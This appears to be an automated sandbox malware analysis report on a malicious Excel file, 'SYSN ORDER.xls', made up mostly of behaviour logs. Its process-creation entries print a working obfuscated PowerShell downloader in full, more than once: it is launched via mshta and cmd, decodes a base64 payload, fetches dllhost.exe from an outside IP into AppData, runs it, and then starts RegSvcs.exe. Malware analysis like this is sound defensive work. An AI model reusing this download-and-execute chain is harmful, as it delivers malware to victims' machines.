Source: B8230000.0.dr	Stream path 'MBD001B9740/\x1Ole' : https://og1.in/cIP5a8miBIeF/GQC',"YaFEdijZulawZYSksOQlKCUWxjdwUoA4h2GpYRQlYTPBA24YDisF2ZW9APJjMjVsD7InAfF30tXJqFHsNJPHgLhKVU47sdTJoHRZ7OtgjdqGyE1Z0FmDcCYjJOrVYsLAqhDnTkepq0MsMMtBouvigw8ZmOmIM31YFW10fPTlf5IBCSDjDt3SxoGb4QB8m46M0Pdma40d9k1F5XnmlLNx1GSAAJYMbxkk21wpXsW4Idy01pDY)?sjXp2w_]%jW<

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Windows Analysis Report SYSN ORDER.xls

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
SYSN ORDER.xls

Malware Threat Intel
Provided by

Source: SYSN ORDER.xls	OLE indicator, Workbook stream: true
Source: B8230000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................m.......m.....}..w.............................1......(.P..............3.......................{b.............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm....................../..l....}..w.....{b.....\.......................(.P.....................8...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................{b.....}..w.............$[........l......Z.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm....................../..l....}..w.....{b.....\.......................(.P.....................8...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................{b.....}..w.............$[........l......Z.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..$[........l......Z.....(.P............................. .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................{b.....}..w.............$[........l......Z.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.........................@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................{b.....}..w.............$[........l......Z.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................{b.....}..w.............$[........l......Z.....(.P.............................l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ........{b.....}..w.............$[........l......Z.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................{b.............0........Wl.....}..w....8.......@E......^...............(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................{b......................Wl.....}..w....8.......@E......^...............(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................Py.............................}..w..............D.......D......1D.....(.P.......D......3D......................(..............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cmy...................../Y.l....}..w.....(......\.F.......D.............(.P.....\...............H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................(......}..w..............g......X.l............(.P.....\...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cmy...................../Y.l....}..w.....(......\.F.......D.............(.P.....\...............H...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................(......}..w..............g......X.l............(.P.....\...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1...g......X.l............(.P.....\....................... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................(......}..w..............g......X.l............(.P.....\...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.\.......................@.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................(......}..w..............g......X.l............(.P.....\...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .........................................(......}..w..............g......X.l............(.P.....\.......................l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ........(......}..w..............g......X.l............(.P.....\...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................(..............0..x1....W......}..w....H.......@EE.....^...............(.P.....\...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................(..................1....W......}..w....H.......@EE.....^...............(.P.....\...............................................

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ngxpd0hb\ngxpd0hb.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4348.tmp" "c:\Users\user\AppData\Local\Temp\ngxpd0hb\CSCA3EB236CC00F4C599499BBB2E0A3996.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tnesdt30\tnesdt30.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES866F.tmp" "c:\Users\user\AppData\Local\Temp\tnesdt30\CSC4AC68FDA20F44DF3BBC22D1FFF1AFB9.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
Source: C:\Users\user\AppData\Roaming\dllhost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"	Jump to behavior
